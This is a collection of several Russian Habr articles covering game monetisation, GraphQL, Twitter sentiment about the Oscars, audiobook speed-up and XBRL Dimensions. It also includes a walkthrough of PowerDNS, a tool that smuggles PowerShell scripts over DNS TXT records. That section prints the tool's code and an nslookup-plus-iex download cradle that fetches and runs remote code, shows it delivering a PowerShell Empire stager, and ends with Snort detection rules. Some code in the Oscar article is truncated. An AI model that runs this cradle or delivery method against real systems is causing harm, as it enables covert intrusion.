#### **Внедрение инструментов монетизации in app purchase и официального плагина AdMob**
Раньше пользовался «самопальными» инструментами для сервиса Admob и внутриигровых покупок. Сейчас Unity и Google предоставляют из коробки прекрасные\удобные\простые плагины. Плагин для рекламы можно скачать [тут](https://firebase.google.com/docs/admob/unity/start), а для in app purchase в самой Unity → Services. Скачал, загрузил все в проект и используешь. Официальные примеры и документация превосходны.
#### **Продвижение**
Раньше я использовал сервисы для накрутки пятерок\скачиваний\комментариев **advertmobile** и **apptools**. Я крайне не рекомендую пользоваться этими инструментами. Ребята из корпорации бобра серьезно потрудились, накрученные отзывы удаляются\не отображаются.
Игра находится в GP пятый день, статистика по скачиваниям: **228/459** (+1 игровая покупка). В adMob 5900 показов и 6$ дохода. Мы получили 231 удаление, есть над чем поработать. Возможно хромает качество, или игра не оправдала ожидание. Согласно «доске лидеров» в игру играют, люди пишут мне на почту и просят подсказки.
Для продвижения использую тематические форумы, группы вк, статьи в блогах, группы в телеграмм, ~~Хабрахабр~~. Смогу ли я набрать 7800 скачиваний как в прошлой версии, или GP для инди стал непостижим? Ответ на этот вопрос и при необходимости\востребованности более подробный разбор логики в следующий раз. | https://habr.com/ru/post/317236/ | null | ru | null |
# GraphQL, что ты такое?
Привет! Сегодня у нашей статьи два автора — бэкенд-разработчик Артём и фронтенд-разработчик Илья.
Примерно год назад мы решили попробовать ввести graphQL в свой проект и сейчас хотим поделиться, как это происходило. Расскажем, что такое GraphQL, как его внедряли, почему мы вообще решили с ним подружиться и как начать взаимодействовать с API бэкенда словно вы граф, а не холоп.
Если лень читать или больше нравится видеоформат — [вам сюда](https://youtu.be/kqA17iwAyqw).
Разбираемся на пальцах
----------------------
Для начала давайте рассмотрим предметную область нашего приложения – это поможет понять, с какими проблемами мы столкнулись.
Мы разрабатываем отдельный от основного [hh.ru](http://hh.ru) продукт — внешнюю CRM-систему по подбору персонала [Talantix](https://talantix.ru). Если [hh.ru](http://hh.ru), как и ряд схожих продуктов, это скорее job-борда, где кандидат создает резюме, а работодатель создает вакансию, на которую можно откликнуться, то после этого обычно в бой вступает CRM-система, где создаются интервью-встречи, кандидаты переводятся по кастомным этапам, строится аналитика работы рекрутеров и происходит прочий очень занимательный для hr флоу работы.
И чтобы подобраться к задачам, которые решает GraphQL, попробуем спроектировать API для нашей системы и заодно посмотрим, какие могут быть проблемы взаимодействия этого API с бэкендом.
Итак, мы зашли на сайт и собираемся создать встречу на интервью.
Помимо всего прочего нам понадобятся ФИО и контакты кандидатов. Сделаем стандартный по REST GET-метод `/candidates` , который будет возвращать необходимые данные.
GET /candidates
```
[
{
"id": 1,
"firstName": "Леонид",
"lastName": "Якубович",
"email": "leonid@yakubovich.ru",
"phone": "+79672222222",
"resume_id": 500
},
{
"id": 2,
"firstName": "Лёня",
"lastName": "Агутин",
"email": "hophey@lalaley.com",
"phone": "+78005553535",
"resume_id": 501
}
]
```
#### Underfetching
Однако в нашей системе данные о кандидатах нужны не только на странице создания встречи. Ещё есть отдельная страница кандидатов, например, где помимо ФИО нам также понадобятся последний опыт работы и зарплата из резюме.
Окей, можем сделать ещё один GET-метод по REST, назовём его `/resumes` и по id резюме получим необходимые данные.
GET /resumes?resumeId=500&resumeId=501
```
[
{
"resumeId": 500,
"lastExperience": {
"company": "Поле чудес",
"position": "Ведущий"
},
"salary": {
"currency": "RUB",
"position": "45000"
}
},
{
"resumeId": 501,
"lastExperience": {
"company": "Голос",
"position": "Ведущий"
},
"salary": {
"currency": "RUB",
"position": "50000"
}
}
]
```
Круто, но тогда появляется особенность, которая называется `underfetching` — мы не можем получить все данные за один запрос и ходим на бэкенд ещё раз. И это действительно иногда может стать проблемой — мы делаем несколько сетевых походов для получения данных на одной странице, не у всех пользователей может быть стабильный интернет, мы теряем в производительности.
#### Overfetching
Ну что же, мы можем забить на REST, создать единый метод `/candidates`, который будет возвращать все данные из сущностей кандидатов и резюме. Мы же знаем как и где они будут использоваться, так чего бы в один метод не напихать туда всё, что нам нужно?
GET /candidates
```
[
{
"id": 1,
"firstName": "Леонид",
"lastName": "Якубович",
"email": "leonid@yakubovich.ru",
"phone": "+79672222222",
"resume": {
"resumeId": 500,
"lastExperience": {
"company": "Поле чудес",
"position": "Ведущий"
},
"salary": {
"currency": "RUB",
"position": "45000"
}
}
},
{
"id": 2,
"firstName": "Лёня",
"lastName": "Агутин",
"email": "hophey@lalaley.com",
"phone": "+78005553535",
"resume": {
"resumeId": 501,
"lastExperience": {
"company": "Голос",
"position": "Ведущий"
},
"salary": {
"currency": "RUB",
"position": "50000"
}
}
}
]
```
Не всё так просто. При создании встречи нам не нужны данные о резюме. Эта проблема тоже имеет значение, и она называется `overfetching`. Мы отдаём избыточные данные, которые никак не будут использоваться – снова теряем в производительности.
#### Завязка на страницы приложения
Можно, например, создать методы `/candidates_min` и `/candidates_max`. С точки зрения производительности всё ок, но не очень масштабируемо - а если добавится третий метод, как назовём?
Но у нас есть знание какие данные нужны конкретным страницам - можно им и воспользоваться.
Можем сделать отдельный слой на бэкенде, который будет ходить в разные микросервисы, аккумулировать данные и возвращать в соответствии с определенной страницей. Вариант хороший, но есть свои минусы. Например, на страницах с почти идентичными данными придётся дублировать логику с походами в другие сервисы и сбора информации. Да и если появится ещё одна страница со схожими данными придётся всё равно создавать новую страницу на бэкенде - занимает время разработки.
#### Клиент сам решает какие данные нужны
Есть ещё один вариант — оставить метод `/candidates` и в query-параметрах передавать только те поля, которые нам нужны.
`/candidates?fetchEmail=true&fetchPhone=true&fetchResumeSalary=true…`
Однако и это решение нам не полностью подходит — таких полей могут быть сотни и тысячи - сложно разобраться, сложно контролировать, сложно поддерживать. И вот тут мы плавно подходим к самой сути GraphQL.
Да кто такой этот ваш GraphQL
-----------------------------
GraphQL позволяет декларативно на клиенте описать, какие данные ему нужны, и бэкенд вернет только их. Это значит, что клиент сам говорит, какие данные он хочет получить. Например, как в sql-запросах, когда работаем с таблицами: перечисляем нужные поля и откуда их взять. А со стороны бэкенда — это составление некой схемы, которой будут следовать запросы с клиента (опять же, аналог составления таблицы в sql), и разработка неких распознавателей, которые будут понимать, куда ходить за данными и что с ними делать. То есть на каждое поле объекта можно написать свой метод распознавателя, в котором будет содержаться его бизнес-логика.
GraphQL часто путают с базой данных или SQL, хотя мы только что убедились, что это совсем другой уровень абстракции. Более того, у нас теперь будет только один endpoint — POST-метод, который займется обслуживанием вообще всех запросов GraphQL, в отличие от того же REST. А значит, GraphQL — это стандарт языка описания запросов от клиента к бэкенду.
Реализация
----------
Опишем краткую схему для нашего случая и заодно поймем, где граф в GraphQL.
Схема описывается на специальном языке GraphQL-схемы, и он чем-то похож на JSON. Мы описали кандидата, резюме и соединили их вместе. А вот и Graph в GraphQL — мы объявили ноды графа и соединили их.
Однако войти в этот граф пока нельзя. Поэтому опишем входные точки. В данном случае будет одна точка — candidates, например, с фильтром по id.
```
candidates(id: 5) {
firstName,
lastName,
phone,
email,
resumes {
lastExperience {
company,
position
},
salary {
currency,
position
}
}
}
```
И вот почему GraphQL — это QL (query language): запрос очень похож на JSON, но на самом деле это не он. И после этого сервер возвращает нам нужные данные.
Сравним с REST
--------------
**В REST:**
* N ресурсов;
* Бэкенд решает, какие данные выдать;
* Нет строго контракта, вернее, контракт на уровне согласования;
* Обработка ошибок через коды ответа 4\*\*-5\*\*.
**В GraphQL:**
* 1 POST-ресурс;
* Клиент решает, какие данные запросить;
* Контракт диктуется схемой и имеет строгую типизацию;
* Обработка ошибок через массив errors в теле ответа — это обусловлено тем, что graphQL не завязан на определённый протокол.
Таблица
| | |
| --- | --- |
| REST | GraphQL |
| N ресурсов | 1 POST-ресурс |
| Бэкенд решает, какие данные выдать | Клиент решает, какие данные запросить |
| Нет строгого контракта | Контракт диктуется схемой |
| Обработка ошибок через коды ответа | Обработка ошибок через массив errors в теле ответа |
Из грязи в графы или как мы совершили переход
---------------------------------------------
Итак, мы начали переходить на GraphQL. На самом деле стратегия была довольно простой — мы брали определённые страницы и переводили на новый формат. Поскольку мы сомневались, зайдёт ли нам GraphQL, политика была следующая: мы переводили высоконагруженные страницы со сложной логикой, чтобы сразу окунуться на всю катушку и понять, какие у нас могут быть проблемы и действительно ли помогает GraphQL.
В промежуточных стадиях у нас могут быть 2 версии однотипного кода (legacy и graphQL), пока полностью не переведём целую сущность — это нормально, если в коде сразу объявить deprecated legacy-методы и не забивать с переводом остальной функциональности. В [hh.ru](http://hh.ru) рекомендуется делать 30% техналога на команду и мы воспользовались этой возможностью. Также мы ставили себе технические цели в OKR, чтобы лучше мониторить прогресс.
Важное допущение — мы переводим пока что только GET-методы, хоть и graphQL позволяет изменять сущности. Это сделано только потому, что пока что перевод GET-методов для нас более актуален.
Плюсы
-----
Мы сидим на GraphQL с осени прошлого года и продолжаем развивать этот протокол. Вот какие преимущества нам удалось обнаружить за это время:
* Декларативное общение клиент-сервера и решение underfetching/overfetching проблем.
* Единый API, который планируем расшарить не только для web-клиента, но и на пользователей.
* Есть вероятность, что это ускорит разработку: при редизайне страницы в идеальном мире со стороны бэкенда ничего не нужно делать.
* Бэкенд работает по строго типизированной схеме — и, как следствие, получаем документированное API из коробки.
* Поменяли подход к проектировании задачи — теперь мы проектируем API, а не страницы.
Гарольд радВ чем подвох
------------
Также мы встретились и с некоторыми трудностями.
* Клиент теперь сам готовит данные. Мы говорили, что это хорошо, но есть нюанс. Клиент может запросить вообще все данные в любом количестве и бэкенд тогда слегка приляжет. Поэтому нужно уметь контролировать внешние запросы. И у GraphQL есть решение — мы можем навешивать веса на определенные поля, и если сумма весов превысила заданную константу, GraphQL зареджектит этот запрос. Этот подход нормально работает, но не всегда получается сделать гибко и удобно.
* Экосистема Java. Всё не так плохо, но java-мир скорее на догоняющей позиции. Обсуждение java-фреймворков мы решили вынести в отдельную статью, а видео уже можно посмотреть [тут](https://www.youtube.com/watch?v=zMIjoMOl3F8).
* Построение инфраструктуры. Мониторинг, обработка ошибок, встраивание в текущую инфру — всё это реально, но во всё это нужно вкладываться. По внедрению инфраструктуры graphQL на фронтенде можно посмотреть [тут](https://www.youtube.com/watch?v=QRNrJQuXWT4).
* Редиректы теперь намного сложнее
* Кеширование запросов непонятно как реализовать
* Ретраи — не очень понятно, что теперь идемпотентный запрос, а что нет, и какие запросы можно ретраить
* Работа с неструктурированными данными — graphQL не совсем предназначен для заливки и выдачи файлов, например
Гарольд не очень радВ общем, минусов тоже хватает, поэтому мы бы не советовали рассматривать GraphQL как следующую ступень эволюции работы с API после REST. Хотя, если вы начнёте гуглить про graphQL, то увидите пёстрые статьи о том, как он "уничтожает REST целиком и полностью". Этому не стоит верить. GraphQL — “всего лишь” альтернатива REST со своими болячками. Просто посчитайте, даёт ли он вам больше плюсов, чем минусов, оцените риски и только после этого принимайте решение — внедрять его или нет. Мы внедрили и нам понравилось.
Заключение
----------
Вот мы и поговорили в общих чертах про GraphQL, как мы его внедряли и на какие проблемы напоролись. Эта статья — только начало весёлого цикла про GraphQL. Не переключайтесь!
Ну и пишите в комментах, пробовали ли вы подружиться с GraphQL и чем это кончилось, нам интересно. | https://habr.com/ru/post/677972/ | null | ru | null |
# Как предсказать победителя премии Оскар по данным социальных сетей или как я провел выходной
Было снежное воскресенье, притом еще и Прощенное, и с утра было принято решение сбросить с себя одеяло и начать подготовку своего отъетого за время масленицы тела к летнему пляжному сезону. Питер не очень благосклонен в данный сезон к занятиям спортом на улице, абонемент в спортзал закончился, так что после 5 км лыжного кросса энергия требовала выхода на свободу.
Конечно же, просто залипнуть в Интернет не получилось, и вспомнилась **идея предсказания победителя премии «Оскар» в 2018 году**, результаты которой будут известны совсем скоро 4-го марта. Данная идея была сформирована в общении с одним интересным человеком, так что спасибо ему за идею.
Возиться с формированием набора данных не хотелось, kaggle тоже не обладал таким, но хотелось сделать что-нибудь не обычное и интересное. Скорректировал задачу: **определить общественное мнение по поводу победителя «Оскар»?**
Но в начале надо разобраться что там в киноиндустрии твориться и кого хоть номинируют.
Что такое Oscar (версия 20!8)
-----------------------------
90-я церемония вручения наград премии «Оскар» за заслуги в области кинематографа за 2017 год состоится 4 марта 2018 года в театре «Долби» (Голливуд, Лос-Анджелес). Комик Джимми Киммел проведёт церемонию второй год подряд. Номинанты были объявлены 23 января 2018 года ([кому интересно](http://oscar.go.com/nominees/best-picture)).
Итак, все номинации мне не интересны, поэтому будем исследовать общественное внимание по номинациям: лучший фильм, лучший актер, лучшая актриса, лучший саундтрек. Обозначим данные для подготовки запросов.
#### Номинация лучший фильм
* Зови меня своим именем
* Тёмные времена
* Дюнкерк
* Прочь
* Леди Бёрд
* Призрачная нить
* Секретное досье
* Форма воды
* Три билборда на границе Эббинга, Миссури
#### Twitter как платформа изучения общественного мнения
Но для начала необходимо обеспечить доступ к API Twitter.
```
CONSUMER_KEY = ''
CONSUMER_SECRET = ''
OAUTH_TOKEN = ''
OAUTH_TOKEN_SECRET = ''
auth = twitter.oauth.OAuth(OAUTH_TOKEN, OAUTH_TOKEN_SECRET,
CONSUMER_KEY, CONSUMER_SECRET)
twitter_api = twitter.Twitter(auth=auth)
```
Т.к. набора данных у меня не было, пришлось немного подумать и сформулировать критерии оценивания общественного мнения в Twitter:
1) Необходимость поиска и обработки сообщений распространяемых в текущий момент времени (resent), что позволит определить изменения общественного мнения, тенденции. Используем для этого [метод API Twitter](https://developer.twitter.com/en/docs).
```
tweet=twitter_api.search.tweets(q=(e1.get()), count="100")
p = json.dumps(tweet)
res2 = json.loads(p)
```
2) Необходимость определения потенциального распространения, т. е. в настоящее время у меня 10 подписчиков, я публикую сообщение, которое ретвитит 2 моих подписчика, у которых по 25 подписчиков. Т. о. количество распространений равно 2, а потенциально возможным равно 10+25+25=60.
```
i=0
while i
```
3) Необходимость определения тональности сообщений, а также отношение позитива к негативу. Для этого сформируем два словаря позитивных и негативных слов. При помощи формулы Байеса (ссылка) определим условную вероятность тональности сообщения.
```
def format_sentence(sent):
return({word: True for word in nltk.word_tokenize(sent.decode('utf-8'))})
pos = []
with open("pos_tweets.txt") as f:
for i in f:
pos.append([format_sentence(i), 'pos'])
neg = []
with open("neg_tweets.txt") as f:
for i in f:
neg.append([format_sentence(i), 'neg'])
training = pos[:int((.8)*len(pos))] + neg[:int((.8)*len(neg))]
test = pos[int((.8)*len(pos)):] + neg[int((.8)*len(neg)):]
classifier = NaiveBayesClassifier.train(training)
classifier.show_most_informative_features()
```
4) (Дополнительно) Определение языка сообщений. В разных странах по разному воспринимают кино. Сошлемся на менталитет.
```
stopwords = nltk.corpus.stopwords.words('english')
en_stop = get_stop_words('en')
stemmer = SnowballStemmer("english")
#print stopwords[:10]
total_word=[]
lang=[]
while i
```
#### Вывод представлен в диаграммах
Распространение упоминаний
Отношение пользователей социальной сети Twitter к номинированным фильмам
#### Отобразим языковое распределение
То есть выясним, про какие фильмы говорят на каких языках (соответственно и страны).
1. Зови меня своим именем
2. Тёмные времена
3. Дюнкерк
4. Прочь
5. Леди Бёрд
6. Призрачная нить
7. Секретное досье
8. Форма воды
9. Три билборда на границе Эббинга, Миссури
#### Номинация лучший актер
*(представлена в табличной форме)*
#### Номинация лучшая актриса
*(представлена в табличной форме)*
#### Предложения по совершенствованию
Конечно же, этот «срез» общественного мнения только отчасти может показать отношение к фильмам. Для более глубокого анализа необходимо собирать данные с Twitter в течении промежуточного времени, в особенности, при появлении инфоповодов. Но, на данный момент, лидером симпатий общественного мнения являются: **Форма воды**. Думаю даже вечером посмотреть!
Также социальные сети позволяют анализировать и классифицировать аудиторию. [Ссылка на репозитарий и словари для обучения модели определения тональности](https://github.com/SadrikA78/Social_Oscar.git). | https://habr.com/ru/post/349436/ | null | ru | null |
# Доставка Powershell скриптов через DNS туннель и методы противодействия
В данной статье мы поговорим о новом инструменте, позволяющем передавать Powershell скрипты на целевую машину внутри DNS пакетов с целью сокрытия трафика. Разберем, как работает PowerDNS и как защититься от подобных атак.
Разбор кода
-----------
Инструмент можно скачать [на официальном GitHub](https://github.com/mdsecactivebreach/PowerDNS).
После клонирования репозитория внутри вы найдете файл powerdns.py. Из этого скрипта, написанного на python, по сути, и состоит весь инструмент. Давайте разберем, что он делает.
Изучим раздел import
```
import scapy, sys
from scapy.all import *
import base64
import signal
import argparse
```
Сразу обращаем внимание на то, что PowerDSN использует [scapy](http://www.secdev.org/projects/scapy/) для работы с сетевыми пакетами.
Далее нам требуется задать интерфейс для прослушивания. Обратите внимание, что эту опцию нельзя задать через параметры командной строки.
```
INTERFACE = 'eth0'
chunks = []
domain = ''
```
Далее идут описания функций проверки корректности запуска — **validate\_args()**, показ баннера из файла banner.txt — **show\_banner()**, их мы разбирать не будем.
Следующая функция более интересна — **base64\_file(file)**.
```
def base64_file(file):
try:
with open(file, "rb") as powershell_file:
encoded_string = base64.b64encode(powershell_file.read())
return encoded_string
except:
print("\033[1;34m[*] PowerDNS:\033[0;0m Error opening file")
sys.exit(-1)
```
Она открывает файл, который мы передаем в параметрах при запуске и кодирует его содержимое в [Base64](https://ru.wikipedia.org/wiki/Base64).
Далее описывается функция **get\_chunks(file)**
```
def get_chunks(file):
tmp_chunks = []
encoded_file = base64_file(file)
for i in range(0,len(encoded_file), 250):
tmp_chunks.append(encoded_file[i:i+250])
return tmp_chunks
```
Которая разбивает Base64 пейлоад, полученный с помощью функции base64\_file на части по 250 символов.
Далее идет основная функция, выполняющая корректную отправку пейлоада внутри DNS пакетов — **powerdnsHandler(data)**
```
def powerdnsHandler(data):
if data.haslayer(DNS) and data.haslayer(DNSQR):
global chunks
ip = data.getlayer(IP)
udp = data.getlayer(UDP)
dns = data.getlayer(DNS)
dnsqr = data.getlayer(DNSQR)
print('\033[1;34m[*] PowerDNS:\033[0;0m Received DNS Query for %s from %s' % (dnsqr.qname, ip.src))
```
Если скрипт получает DNS пакет, то в консоли отображается строка вида «Received DNS Query for...»
```
if len(dnsqr.qname) !=0 and dnsqr.qtype == 16:
try:
response = chunks[int(dnsqr.qname.split('.')[0])]
except:
return
rdata=response
rcode=0
dn = domain
an = (None, DNSRR(rrname=dnsqr.qname, type='TXT', rdata=rdata, ttl=1))[rcode == 0]
ns = DNSRR(rrname=dnsqr.qname, type="NS", ttl=1, rdata="ns1."+dn)
forged = IP(id=ip.id, src=ip.dst, dst=ip.src) /UDP(sport=udp.dport, dport=udp.sport) / DNS(id=dns.id, qr=1, rd=1, ra=1, rcode=rcode, qd=dnsqr, an=an, ns=ns)
send(forged, verbose=0, iface=INTERFACE)
```
Если тип запрашиваемой записи TXT ([см. Типы ресурсных записей DNS](https://ru.wikipedia.org/wiki/%D0%A2%D0%B8%D0%BF%D1%8B_%D1%80%D0%B5%D1%81%D1%83%D1%80%D1%81%D0%BD%D1%8B%D1%85_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D0%B5%D0%B9_DNS)) то отправляется часть пейлоада (**chunks[int(dnsqr.qname.split('.')[0])]**) внутри DNS пакета, причем та часть, номер которой был в запросе **dnsqr.qname**.
Далее идет основное тело программы
```
try:
show_banner()
args = validate_args()
signal.signal(signal.SIGINT, signal_handler)
chunks = get_chunks(args.file)
domain = args.domain
```
Здесь проверяется корректность запуска и читаются значения параметров.
Затем мы видим интересную строку с переменной **STAGER\_CMD**
```
STAGER_CMD = "for ($i=1;$i -le %s;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.%s')[-1]};iex([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String(($b64))))" % (str(len(chunks)), domain)
```
Это загрузчик powershell скрипта, который мы передали в параметрах запуска. Именно этот скрипт будет передан целевой машине первым. При выполнении этого скрипта, PowerShell будет циклически выполнять команды вида
```
nslookup -q=txt -timeout=3 0.domain.com
nslookup -q=txt -timeout=3 1.domain.com
nslookup -q=txt -timeout=3 2.domain.com
...
```
И таким образом получать пейлоад по частям, которые хранятся в переменной **chunks**.
Далее пользователю отображается, на сколько частей был разбит выбранный powershell скрипт. После этого на нулевой индекс в список вставляется Download Cradle скрипт **STAGER\_CMD**.
```
print("\033[1;34m[*] PowerDNS:\033[0;0m Splitting %s in to %s chunk(s)" % (args.file, str(len(chunks))))
chunks.insert(0,STAGER_CMD)
```
Чтобы посмотреть на какие части был разбит наш скрипт, можно вставить после **chunks.insert**
```
for j in chunks:
print chunks.index(j)
print j
```
Пользователю будет отображена команда, которую нужно выполнить на целевой машине
```
print("\033[1;34m[*] PowerDNS:\033[0;0m Use the following download cradle:\n\033[1;34m[*] PowerDNS:\033[0;0m powershell \"powershell (nslookup -q=txt -timeout=5 0.%s)[-1]\"" % (domain))
```
Это команда вида
```
powershell "powershell (nslookup -q=txt -timeout=5 0.domain.com)[-1]"
```
Т.е. Powershell получит Download Cradle код через запрос TXT записи к 0.domain.com (STAGER\_CMD хранится под нулевым индексом), выполнит его и запустит цикл получения основного скрипта в Base64. Мы используем [-1] так как нам нужно передать в PowerShell интерпретатор именно Download Cradle, а не имя DNS сервера и т.п. В вашем случае, возможно, придется использовать другую строку, чтобы передать в PowerShell правильную часть ответа от nslookup.
И последние строки кода запускают прослушивание DNS запросов на выбранном интерфейсе. При получении запроса, вызывается функция **powerdnsHandler**
```
while True:
mSniff = sniff(filter="udp dst port 53", iface=INTERFACE, prn=powerdnsHandler)
except Exception as e:
sys.exit(-1)
```
Если у Вас что-то не работает, я бы дополнил код, строкой print(e) перед sys.exit, чтобы видеть ошибки выполнения.
Практический пример
-------------------
В качестве полезной нагрузки, т.е. основного powershell скрипта, я буду использловать [Powershell Empire](https://www.powershellempire.com/) стейджер.
Создаю листнер
Генерирую код стейджера и помещаю его в файл payload.ps1
Я должен запустить powerdns.py на авторитативном DNS сервере, зону которого контролирую.
В моей тестовой инфраструктуре я использую домен sub.secret.lab. Запускаем на этой машине PowerDNS
```
python powerdns.py --file payload.ps1 --domain sub.secret.lab
```
Теперь я должен выполнить Download Cradle на удаленной машине
После выполнения powershell команды я начинаю видеть следующие записи в консоли PowerDNS
```
[*] PowerDNS: Use the following download cradle:
[*] PowerDNS: powershell "powershell (nslookup -q=txt -timeout=5 0.sub.secret.lab)[-1]"
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 0.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 1.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 2.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.sub.secret.lab. from 192.168.1.10
[*] PowerDNS: Received DNS Query for 3.1.168.192.in-addr.arpa. from 192.168.1.10
...
```
Если запустить сниффер wireshark и изучить DNS пакеты, то мы увидим следующее
Запрос
И ответ (Download Cradle, который возвращается при запросе к 0.sub.secret.lab)
После получения последней части скрипта, видим сообщение в PowerShell Empire об успешном подключении агента
И, как видим, он рабочий
Защита
------
Для блокирования конкретно этого скрипта можно искать в DNS запросах сигнатуру Download Cradle-а, т.е. что-то похожее на
```
for ($i=1;$i -le 19;$i++){$b64+=iex(nslookup -q=txt -timeout=3 $i'.sub.secret.lab'
```
Правило для сетевой IPS Snort 2.X может выглядеть примерно так
```
drop udp any 53 <> any any (content: "| 7b 24 62 36 34 2b 3d 69 65 78 28 |"; msg:"PowerDNS Detected!"; sid:10000002; rev:001;)
```
Результат
Однако Download Cradle может быть более сложным и быть подвергнут обфускации, например при помощи [Invoke-CradleCrafter](https://github.com/danielbohannon/Invoke-CradleCrafter). Тогда такое правило не сработает.
В этом случае можно обращать внимание на превышение порогового числа DNS запросов типа TXT, используя подобное правило
```
alert udp any any -> any 53 (msg:"High TXT requests - Potential DNS Tunneling"; content:"|00 00 10 00 01|"; offset:12; threshold: type threshold, track by_src, count 3, seconds 30; sid: 1000003; rev: 001;)
```
Результат
Нужно иметь в виду, что DNS туннели могут использовать не только тип записи TXT, поэтому данные примеры демонстрируют защиту конкретно от инструмента PowerDNS. Инструментов для создания DNS туннелей достаточно много, поэтому для эффективной защиты рекомендуется убедиться, что ваши правила защищают инфраструктуру от всех типов туннелей. | https://habr.com/ru/post/337244/ | null | ru | null |
# Как тратить меньше времени на просмотр видео и прослушивание аудиокниг
Несколько лет назад я заметил, что некоторые фильмы смотреть просто не могу. И не из-за страшных сцен или унылого сюжета, а из-за ощущения сильной затянутости действия. Оно, может и не замедленное, а вполне себе происходит в реальном времени… Но я могу воспринимать эту информацию куда быстрее.
И вот, однажды, нажал я волшебную кнопку в VLC.
#### Фильмы, сериалы, лекции
Это была кнопка ускорения. Оказалось, что при ускорении в 1.5, а то и в два раза фильм смотреть вполне возможно. И это несмотря на то, что в той, старой, версии VLC, кнопка увеличивала именно скорость, то есть заодно увеличивалась и высота всех звуков. В новых версиях VLC увеличивается темп, а не скорость, то есть искажение высоты звука не чувствуется: просто видео становится короче.
Кино с важным наполнением так смотреть трудно. В некоторых случаях (например, фильм Космическая одиссея 2001 года) просто кощунственно включать ускорение.
А вот большинство мыльных пузырей с большим удовольствием надуваются и лопаются в полтора-два раза быстрее. Преградами могут послужить лишь некачественная озвучка (закадровый перевод) и производительность вашего компьютера.
Остаётся нажать кнопку "+" на клавиатуре, когда VLC откроет файл, и почувствовать на своих ушах, что я описываю. Экспериментируйте! Какое ускорение выдержит ваш мозг? +)
**UPD**: В VLC можно изменять скорость более плавно, с шагом 0.1x. Для этого используйте клавиши "[" и "]".
#### Радиопостановки, аудиокниги, подкасты
Если книга состоит из нескольких mp3 файлов и вы собираетесь слушать её на компьютере, то можно пользоваться тем же VLC.
Но мне чаще доводилось встречать аудиокниги из десятка-другого, а то и сотни mp3 файлов. И слушать всё это хочется на плеере, который изменять темп не умеет.
Соответственно, мне захотелось перекодировать аудиофайлы с увеличенным темпом и уже результат слушать на плеере. Решение нашлось быстро, хотя быть может оно и не самое элегантное. **UPD:** [нашлось элегантнее](http://linsovet.com/speedup-audiobooks-without-voice-distortion).
Оказывается, Audacity умеет пакетно обрабатывать аудиофайлы.
Научим его увелчивать темп кучи файлов.
Вот короткая инструкция по настройке:
1. Файл -> Изменить цепочки
2. Добавить новую цепочку и назвать её
3. Вставить команды ExportMp3 и ChangeTempo:
4. Нажать на кнопку Изменить параметры и установить нужное ускорение (на рисунке показаны параметры для ускорения на 60%):
5. Нажать OK в обоих диалогах. Должно получиться что-то вроде:
6. Ещё раз OK и Audacity готов к решению требуемой задачи
Теперь каждый раз, когда нужно ускорить аудиокнигу, запускаем Audacity, Файл -> Применить цепочку:
Жмём Применить к файлам, говорим OK и ждём. В той же папке, что и исходные файлы будет создана подпапка «cleaned» с ускоренными файлами внутри.
**UPD**: Тут выяснилось, что Audacity может попортить теги в новых файлах. И id3cp что-то не так копирует.
Для решения, предлагаю такой скрипт на питоне, который копирует id3 из старого файла в новый:
```
#!/usr/bin/python
import sys
from mutagen.id3 import ID3
source = ID3(sys.argv[1])
dest = ID3(sys.argv[2])
for key in source:
dest[key] = source[key]
dest.save()
```
Вызывать, находясь в папке с исходными файлами, как-то так (предполагается что скрипт вы положили в папку scripts домашней директории и дали ему права на выполнение):
```
for file in *.mp3; do ~/scripts/mp3cpy.py $file cleaned/$file; done
```
BTW: Осторожнее на дорогах! Если вы слушаете аудиокнигу с увеличенным темпом за рулём, то помните, вы уделяете ей куда больше внимания, чем обычно. Поверьте, книга перестаёт быть «просто фоном». Будьте внимательны.
#### Ссылки
[VLC](http://www.videolan.org/vlc/)
[Audacity](http://audacity.sourceforge.net/?lang=ru)
[Пример ускоренного аудио](http://narod.ru/disk/3676821001/podfm_42_14.mp3.html)
[Прошивка для плееров, поддерживающая изменение темпа](http://www.rockbox.org/)
**UPD**: В mplayer того же результата достигают, прописав `af=scaletempo` в настройках.
В KMPlayer: Shift + Num- и Shift + Num+
#### Напоследок
Экономия времени, особенно при прослушивании аудиокниг и просмотре сериалов существенная. Если вам нужно что-то обязательно посмотреть или послушать, то за каждые два просматривается/прослушивается что-то продолжительностью в три, а то и в четыре часа. Но иногда ускорение просто не нужно… | https://habr.com/ru/post/111998/ | null | ru | null |
# XBRL: просто о сложном − Глава 5. Открывая новые измерения
5. Открывая новые измерения
---------------------------
Предыдущие главы показали вам, что такое XBRL, и что с его помощью можно сделать. Как вы уже знаете, он является расширяемым стандартом. В этой главе мы рассмотрим один из расширяющих стандартную спецификацию модулей – XBRL Dimensions (Измерения).
Глава основывается на спецификации XBRL Dimensions версии 1.0 CR от 19.06.2006. На момент написания книги спецификация находится в статусе Candidate Recommendation, но ожидается, что окончательный вариант не принесет никаких значительных сюрпризов.
Что касается самой спецификации XBRL, данная глава подчеркивает некоторые ее важные моменты, необходимые для уверенного базового понимания XBRL Dimensions. Остальные нюансы приведены в полной спецификации.
### 5.1. Введение
Обычно, факты в отчетах некоторым образом классифицируются, например:
* Продажи в разных периодах;
* Продажи по продуктовым линиям;
* Продажи по регионам;
* Продажи по отделам;
* Количество сотрудников по возрасту;
* Количество сотрудников по полу;
* ...
Две из этих категорий явно определены спецификацией XBRL – период и составитель отчета (компания, департамент, отдел компании). Эти категории всегда присутствуют в контекстах, на которые ссылаются факты отчета.
Желание расширить эти возможности, чтобы позволить авторам таксономии указать свои собственные категории вроде продуктовой линии, пола и т.д., является вполне естественным. Это именно то, что позволяет сделать XBRL Dimensions. В этой спецификации такие категории называются *измерениями* (dimension).
Как определено в спецификации XBRL, входящие в контекст *сценарий* и *сегмент* могут иметь любое валидное XML-содержание. XBRL Dimensions определяет формализованный способ использования таких элементов для добавления новых измерений (категории) в контекст.
